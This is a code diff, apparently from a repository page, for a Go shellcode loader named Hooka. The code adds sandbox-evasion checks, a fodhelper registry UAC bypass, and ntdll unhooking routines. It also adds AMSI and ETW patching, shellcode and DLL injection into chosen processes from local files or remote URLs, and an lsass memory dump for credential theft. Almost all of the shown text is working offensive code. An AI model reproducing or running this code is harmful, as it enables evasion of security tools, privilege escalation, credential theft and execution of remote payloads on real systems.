if diskret == 0 {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if (lpTotalNumberOfBytes < 68719476736) {
|
||||
return true, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
func CheckInternet() (bool) {
|
||||
client := http.Client{
|
||||
Timeout: 3000 * time.Millisecond, // 3s timeout (more than neccessary)
|
||||
}
|
||||
|
||||
_, err := client.Get("https://google.com")
|
||||
|
||||
if err != nil {
|
||||
return true // May be a sandbox
|
||||
}
|
||||
|
||||
return false // Not a sandbox
|
||||
}
|
||||
|
||||
func CheckHostname() (bool, error) {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
for _, hostname_to_check := range hostnames_list {
|
||||
if (hostname == hostname_to_check) {
|
||||
return true, nil // Probably a sandbox
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil // Not a sandbox
|
||||
}
|
||||
|
||||
func CheckUsername() (bool, error) {
|
||||
u, err := user.Current()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
for _, username_to_check := range usernames_list {
|
||||
if (u.Username == username_to_check) {
|
||||
return true, nil // Probably a sandbox
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil // Not a sandbox
|
||||
}
|
||||
|
||||
func CheckCpu() (bool) {
|
||||
if (runtime.NumCPU() <= 2) {
|
||||
return true // Probably a sandbox
|
||||
} else {
|
||||
return false // Not a sandbox
|
||||
}
|
||||
}
|
||||
|
||||
func CheckDrivers() (bool) {
|
||||
for _, d := range drivers { // Iterate over all drivers to check if they exist
|
||||
_, err := os.Stat(d)
|
||||
if !os.IsNotExist(err) {
|
||||
return true // Probably a sandbox
|
||||
}
|
||||
}
|
||||
|
||||
return false // Not a sandbox
|
||||
}
|
||||
|
||||
func CheckProcess() (bool, error) {
|
||||
processes_list, err := mproc.GetProcesses() // Get list of all processes
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// Check if at least a quite good amount of processes are running
|
||||
if len(processes_list) <= 15 {
|
||||
return true, nil // Probably a sandbox
|
||||
}
|
||||
|
||||
for _, p := range processes_list {
|
||||
for _, p_name := range processes { // Iterate over known VM and sandboxing processes names
|
||||
if (p.Exe == p_name) { // Name matches!
|
||||
return true, nil // Probably a sandbox
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil // Not a sandbox
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
+90
@@ -0,0 +1,90 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"fmt"
|
||||
"time"
|
||||
"strings"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
mfiles "github.com/D3Ext/maldev/files"
|
||||
)
|
||||
|
||||
func ExecUac(path string) (error) {
|
||||
// Example format --> C:\Users\User-1\AppData\Local\Temp\<rand-string>.<file-extension>
|
||||
// Helps with UAC bypass as the path is random so it can't (almost) be flagged by AV
|
||||
temp_path := os.Getenv("TEMP") + "\\" + RandomString(8) + "." + strings.Split(path, ".")[len(strings.Split(path, "."))-1]
|
||||
|
||||
// Copy path
|
||||
err := mfiles.Copy(path, temp_path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Create registry
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER,
|
||||
"Software\\Classes\\ms-settings\\shell\\open\\command", registry.ALL_ACCESS)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close() // Close key
|
||||
defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command") // Remove key
|
||||
|
||||
// Define random name
|
||||
cmdDir := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
|
||||
temp_cmd_path := os.Getenv("TEMP") + "\\" + RandomString(9) + "." + strings.Split(cmdDir, ".")[len(strings.Split(cmdDir, "."))-1]
|
||||
err = mfiles.Copy(cmdDir, temp_cmd_path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//defer os.Remove(temp_cmd_path) returns an "Access denied" error as the .exe is running
|
||||
|
||||
value := fmt.Sprintf("%s Start-Process %s", temp_cmd_path, temp_path)
|
||||
|
||||
err = k.SetStringValue("", value)
|
||||
if err != nil { // Set value
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.SetStringValue("DelegateExecute", "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
time.Sleep(time.Second)
|
||||
cmd := exec.Command("cmd.exe", "/C", "fodhelper.exe") // Run fodhelper
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = cmd.Run()
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
func RemoveUacFiles() (error) { // Remove intermediary files used by fodhelper technique
|
||||
files, err := ioutil.ReadDir(os.Getenv("TEMP"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, f := range files {
|
||||
if !f.IsDir() {
|
||||
filename_len := len(strings.Join(strings.Split(f.Name(), ".exe"), ""))
|
||||
if filename_len == 8 || filename_len == 9 {
|
||||
err = os.Remove(os.Getenv("TEMP") + "\\" + f.Name())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
+15
-12
@@ -58,7 +58,7 @@ func ClassicUnhook(funcname string, dllpath string) (error) {
|
||||
|
||||
// Overwrite address with original function bytes
|
||||
writeProcessMemory.Call(ownHandle, procAddr2, uintptr(unsafe.Pointer(&assembly_bytes[0])), 5, uintptr(0))
|
||||
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -125,6 +125,8 @@ func FullUnhook(dllpath string) (error) {
|
||||
}
|
||||
|
||||
func PerunsUnhook() (error) {
|
||||
procWriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
|
||||
|
||||
var si syscall.StartupInfo
|
||||
var pi syscall.ProcessInformation
|
||||
si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{}))
|
||||
@@ -204,18 +206,19 @@ func PerunsUnhook() (error) {
|
||||
endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
|
||||
cleanSyscalls := cache[startOffset:endOffset]
|
||||
|
||||
var writenum uintptr
|
||||
e = windows.WriteProcessMemory(
|
||||
0xffffffffffffffff,
|
||||
addrMod+uintptr(startOffset),
|
||||
&cleanSyscalls[0],
|
||||
uintptr(len(cleanSyscalls)),
|
||||
&writenum,
|
||||
)
|
||||
/*ZwWriteVirtualMemory, err := GetSysId("ZwWriteVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}*/
|
||||
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
// Don't handle error as it may return false errors
|
||||
procWriteProcessMemory.Call(
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(addrMod + uintptr(startOffset)),
|
||||
uintptr(unsafe.Pointer(&cleanSyscalls[0])),
|
||||
uintptr(len(cleanSyscalls)),
|
||||
0,
|
||||
)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func UuidFromString(shellcode []byte) (error) {
|
||||
func UuidFromString(shellcode []byte, pid int) (error) {
|
||||
uuids, err := shellcodeToUUID(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
+4
-14
@@ -5,14 +5,6 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
/*
|
||||
|
||||
Function wrappers to make malware dev easier
|
||||
because they use native undocumented API functions
|
||||
with Halo's Gate technique to provide an easier implementation
|
||||
|
||||
*/
|
||||
|
||||
// addr, err := VirtualAlloc(pHandle, 0, uintptr(len(shellcode)), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
func VirtualAlloc(handle uintptr, zero uintptr, regionsize uintptr, allocType uintptr, allocProtection uintptr) (uintptr, error) {
|
||||
|
||||
@@ -66,7 +58,7 @@ func VirtualProtect(pHandle uintptr, addr uintptr, regionsize uintptr, newProtec
|
||||
}
|
||||
|
||||
// err := WriteProcessMemory(pHandle, addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_len uintptr) (error) {
|
||||
func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_len uintptr, num_bytes uintptr) (error) {
|
||||
|
||||
// Get syscall
|
||||
sysId, err := GetSysId("NtWriteVirtualMemory")
|
||||
@@ -74,17 +66,16 @@ func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_le
|
||||
return err
|
||||
}
|
||||
|
||||
var bytesWritten uint32
|
||||
r, _ := Syscall(
|
||||
r, err := Syscall(
|
||||
sysId,
|
||||
uintptr(pHandle),
|
||||
uintptr(addr),
|
||||
uintptr(buffer),
|
||||
uintptr(buffer_len),
|
||||
uintptr(unsafe.Pointer(&bytesWritten)),
|
||||
uintptr(num_bytes),
|
||||
)
|
||||
|
||||
if (r != 0) {
|
||||
if (r != 0) || (err != nil) {
|
||||
return errors.New("NtWriteVirtualMemory syscall returned non-zero error code")
|
||||
}
|
||||
|
||||
@@ -92,4 +83,3 @@ func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_le
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -8,10 +8,8 @@ import (
|
||||
"encoding/hex"
|
||||
"encoding/base64"
|
||||
|
||||
// Hooka
|
||||
"github.com/D3Ext/Hooka/core"
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
|
||||
// My own malware dev package
|
||||
l "github.com/D3Ext/maldev/logging"
|
||||
)
|
||||
|
||||
@@ -19,14 +17,19 @@ func main() {
|
||||
var shellcode []byte
|
||||
var err error
|
||||
|
||||
// Parse CLI flags and retrieve values
|
||||
sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass := core.ParseFlags()
|
||||
err = hooka.AutoCheck()
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
l.PrintBanner("Hooka!") // Print script banner with version
|
||||
// Parse CLI flags and retrieve values
|
||||
sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass, pid := hooka.ParseFlags()
|
||||
|
||||
l.PrintBanner("Hooka!")
|
||||
l.Println(" by D3Ext - v0.1")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (dll_url == "") && (!hook_detect) && (!test_flag) && (lsass == "") { // Enter here if any main flag was especified
|
||||
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (dll_url == "") && (!hook_detect) && (!test_flag) && (lsass == "") {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Parameters missing")
|
||||
@@ -65,13 +68,6 @@ func main() {
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") && (dll_url == "") {
|
||||
|
||||
if (technique != "CreateRemoteThread") && (technique != "CreateProcess") && (technique != "QueueApcThread") && (technique != "UuidFromString") && (technique != "Fibers") && (technique != "") {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Unknown injection technique! See help panel\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if (base64_flag) && (hex_flag) { // Check if both flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
@@ -86,7 +82,13 @@ func main() {
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("\n[+] Remote shellcode URL: " + sc_url)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
if (pid != 0 ){
|
||||
l.Println("[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("[+] Target PID: self")
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags
|
||||
l.Println("[+] No encoding was especified")
|
||||
@@ -98,7 +100,7 @@ func main() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Retrieving shellcode from url...")
|
||||
shellcode, err = core.GetShellcodeFromUrl(sc_url)
|
||||
shellcode, err = hooka.GetShellcodeFromUrl(sc_url)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred retrieving shellcode!")
|
||||
l.Fatal(err)
|
||||
@@ -130,17 +132,17 @@ func main() {
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
if (technique != "") {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " function")
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
if (halos) { // Check if --halos flag was used
|
||||
err := core.InjectHalos(shellcode, technique)
|
||||
err := hooka.InjectHalos(shellcode, technique, pid)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -166,12 +168,18 @@ func main() {
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
|
||||
if (pid != 0 ){
|
||||
l.Println("\n[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("\n[+] Target PID: self")
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("\n[+] Shellcode file: " + sc_file)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Getting shellcode from file...")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
shellcode, err = core.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
|
||||
shellcode, err = hooka.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -215,13 +223,13 @@ func main() {
|
||||
}
|
||||
|
||||
if (halos) { // Check if --halos flag was used
|
||||
err := core.InjectHalos(shellcode, technique)
|
||||
err := hooka.InjectHalos(shellcode, technique, pid)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -257,8 +265,13 @@ func main() {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if (pid != 0 ){
|
||||
l.Println("\n[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("\n[+] Target PID: self")
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
|
||||
l.Println("\n[+] DLL file: " + dll_filename)
|
||||
l.Println("[+] DLL file: " + dll_filename)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
if (dll_func != "") {
|
||||
l.Println("[+] Function to execute: " + dll_func)
|
||||
@@ -268,7 +281,7 @@ func main() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Converting " + dll_filename + " to shellcode")
|
||||
shellcode, err := core.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
|
||||
shellcode, err := hooka.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -288,13 +301,13 @@ func main() {
|
||||
}
|
||||
|
||||
if (halos) {
|
||||
err = core.InjectHalos(shellcode, technique)
|
||||
err = hooka.InjectHalos(shellcode, technique, pid)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -305,19 +318,33 @@ func main() {
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (dll_url != "") {
|
||||
|
||||
dll_func := strings.Split(dll_url, ",")[1]
|
||||
dll_url := strings.Split(dll_url, ",")[0]
|
||||
var dll_func string
|
||||
var dll_url string
|
||||
|
||||
if len(strings.Split(dll_url, ",")) >= 2 {
|
||||
dll_func = strings.Split(dll_url, ",")[1]
|
||||
dll_url = strings.Split(dll_url, ",")[0]
|
||||
} else {
|
||||
dll_func = ""
|
||||
dll_url = strings.Split(dll_url, ",")[0]
|
||||
}
|
||||
|
||||
if (pid != 0 ){
|
||||
l.Println("\n[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("\n[+] Target PID: self")
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
if (dll_func != "") {
|
||||
l.Println("\n[+] Function to execute: " + dll_func)
|
||||
l.Println("[+] Function to execute: " + dll_func)
|
||||
} else {
|
||||
l.Println("\n[+] Function to execute: default")
|
||||
l.Println("[+] Function to execute: default")
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Retrieving DLL from url...")
|
||||
dll_bytes, err := core.GetShellcodeFromUrl(dll_url)
|
||||
dll_bytes, err := hooka.GetShellcodeFromUrl(dll_url)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred retrieving remote dll!")
|
||||
l.Fatal(err)
|
||||
@@ -325,7 +352,7 @@ func main() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Converting raw bytes to shellcode")
|
||||
shellcode, err := core.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode
|
||||
shellcode, err := hooka.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -345,13 +372,13 @@ func main() {
|
||||
}
|
||||
|
||||
if (halos) {
|
||||
err = core.InjectHalos(shellcode, technique)
|
||||
err = hooka.InjectHalos(shellcode, technique, pid)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -364,7 +391,7 @@ func main() {
|
||||
|
||||
l.Println("\n[*] Detecting hooked functions...")
|
||||
|
||||
all_hooks, err := core.DetectHooks() // Get all hooked functions
|
||||
all_hooks, err := hooka.DetectHooks() // Get all hooked functions
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
@@ -400,16 +427,26 @@ func main() {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
err := core.Inject(core.CalcShellcode(), technique) // Inject calc.exe shellcode
|
||||
err := hooka.Inject(hooka.CalcShellcode(), technique, pid) // Inject calc.exe shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed!\n")
|
||||
|
||||
} else if (lsass != "") { // Enter here if --lsass flag was especified
|
||||
l.Println("\n[*] Dumping lsass.exe process to " + lsass)
|
||||
|
||||
if (unhook != 0) {
|
||||
l.Println("\n[*] Unhooking MiniDumpWriteDump from dbghelp32.dll")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.ClassicUnhook("MiniDumpWriteDump", "C:\\Windows\\System32\\Dbghelp.dll")
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
l.Println("[*] Dumping lsass.exe process to " + lsass)
|
||||
|
||||
err := core.DumpLsass(lsass)
|
||||
err := hooka.DumpLsass(lsass)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred, ensure to be running as admin:")
|
||||
e := os.Remove(lsass)
|
||||
@@ -438,7 +475,7 @@ func checkAmsi(check bool) {
|
||||
if (check) {
|
||||
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.PatchAmsi()
|
||||
err := hooka.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
@@ -451,7 +488,7 @@ func checkEtw(check bool) {
|
||||
if (check) {
|
||||
l.Println("[*] Patching ETW by overwriting some EtwEventWrite functions memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.PatchEtw()
|
||||
err := hooka.PatchEtw()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
@@ -465,7 +502,7 @@ func checkUnhook(unhook int, technique string) {
|
||||
if (unhook == 1) {
|
||||
l.Println("[*] Unhooking functions via Classic technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
|
||||
err := hooka.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
@@ -475,7 +512,7 @@ func checkUnhook(unhook int, technique string) {
|
||||
} else if (unhook == 2) {
|
||||
l.Println("[*] Unhooking functions via Full Dll technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
|
||||
err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
@@ -485,7 +522,7 @@ func checkUnhook(unhook int, technique string) {
|
||||
} else if (unhook == 3) {
|
||||
l.Println("[*] Unhooking functions via Perun's Fart technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.PerunsUnhook()
|
||||
err := hooka.PerunsUnhook()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func GetShellcodeFromUrl(url string) ([]byte, error) {
|
||||
return core.GetShellcodeFromUrl(url)
|
||||
}
|
||||
|
||||
func GetShellcodeFromFile(file string) ([]byte, error) {
|
||||
return core.GetShellcodeFromFile(file)
|
||||
}
|
||||
|
||||
func CalcShellcode() ([]byte) {
|
||||
return core.CalcShellcode()
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func ParseFlags() (string, string, string, string, string, bool, bool, int, bool, bool, bool, bool, bool, string, int) {
|
||||
return core.ParseFlags()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func Inject(shellcode []byte, technique string, pid int) (error) {
|
||||
return core.Inject(shellcode, technique, pid)
|
||||
}
|
||||
|
||||
func InjectHalos(shellcode []byte, technique string, pid int) (error) {
|
||||
return core.InjectHalos(shellcode, technique, pid)
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,3 +6,7 @@ func DumpLsass(output string) (error) {
|
||||
return core.DumpLsass(output)
|
||||
}
|
||||
|
||||
func EnableSeDebug() (error) {
|
||||
return core.ElevateProcessToken()
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func AutoCheck() (error) {
|
||||
return core.AutoCheck()
|
||||
}
|
||||
|
||||
func CheckMemory() (bool, error) {
|
||||
return core.CheckMemory()
|
||||
}
|
||||
|
||||
func CheckDisk() (bool, error) {
|
||||
return core.CheckDisk()
|
||||
}
|
||||
|
||||
func CheckInternet() (bool) {
|
||||
return core.CheckInternet()
|
||||
}
|
||||
|
||||
func CheckHostname() (bool, error) {
|
||||
return core.CheckHostname()
|
||||
}
|
||||
|
||||
func CheckUsername() (bool, error) {
|
||||
return core.CheckUsername()
|
||||
}
|
||||
|
||||
func CheckCpu() (bool) {
|
||||
return core.CheckCpu()
|
||||
}
|
||||
|
||||
func CheckDrivers() (bool) {
|
||||
return core.CheckDrivers()
|
||||
}
|
||||
|
||||
func CheckProcess() (bool, error) {
|
||||
return core.CheckProcess()
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
+14
-18
@@ -8,28 +8,24 @@ Functions which inject shellcode without Hell's Gate + Halo's Gate
|
||||
|
||||
*/
|
||||
|
||||
func CreateRemoteThread(shellcode []byte) (error) {
|
||||
return core.CreateRemoteThread(shellcode)
|
||||
func CreateRemoteThread(shellcode []byte, pid int) (error) {
|
||||
return core.CreateRemoteThread(shellcode, pid)
|
||||
}
|
||||
|
||||
func CreateProcess(shellcode []byte) (error) {
|
||||
return core.CreateProcess(shellcode)
|
||||
func CreateProcess(shellcode []byte, pid int) (error) {
|
||||
return core.CreateProcess(shellcode, pid)
|
||||
}
|
||||
|
||||
func Fibers(shellcode []byte) (error) {
|
||||
return core.Fibers(shellcode)
|
||||
func Fibers(shellcode []byte, pid int) (error) {
|
||||
return core.Fibers(shellcode, pid)
|
||||
}
|
||||
|
||||
func EarlyBirdApc(shellcode []byte) (error) {
|
||||
return core.EarlyBirdApc(shellcode)
|
||||
func EarlyBirdApc(shellcode []byte, pid int) (error) {
|
||||
return core.EarlyBirdApc(shellcode, pid)
|
||||
}
|
||||
|
||||
/*func QueueApcThread(shellcode []byte) (error) {
|
||||
return core.QueueApcThread(shellcode)
|
||||
}*/
|
||||
|
||||
func UuidFromString(shellcode []byte) (error) {
|
||||
return core.UuidFromString(shellcode)
|
||||
func UuidFromString(shellcode []byte, pid int) (error) {
|
||||
return core.UuidFromString(shellcode, pid)
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -38,11 +34,11 @@ Hell's Gate + Halo's Gate functions (WIP)
|
||||
|
||||
*/
|
||||
|
||||
func CreateProcessHalos(shellcode []byte) (error) {
|
||||
return core.CreateProcessHalos(shellcode)
|
||||
func CreateProcessHalos(shellcode []byte, pid int) (error) {
|
||||
return core.CreateProcessHalos(shellcode, pid)
|
||||
}
|
||||
|
||||
func CreateRemoteThreadHalos(shellcode []byte) (error) {
|
||||
return core.CreateRemoteThreadHalos(shellcode)
|
||||
func CreateRemoteThreadHalos(shellcode []byte, pid int) (error) {
|
||||
return core.CreateRemoteThreadHalos(shellcode, pid)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func ExecUac(path string) (error) {
|
||||
return core.ExecUac(path)
|
||||
}
|
||||
|
||||
func RemoveUacFiles() (error) {
|
||||
return core.RemoveUacFiles()
|
||||
}
|
||||
|
||||
/*func SelfExecUac() (error) {
|
||||
return core.SelfExecUac()
|
||||
}*/
|
||||
|
||||
|
||||
Reference in New Issue
Block a user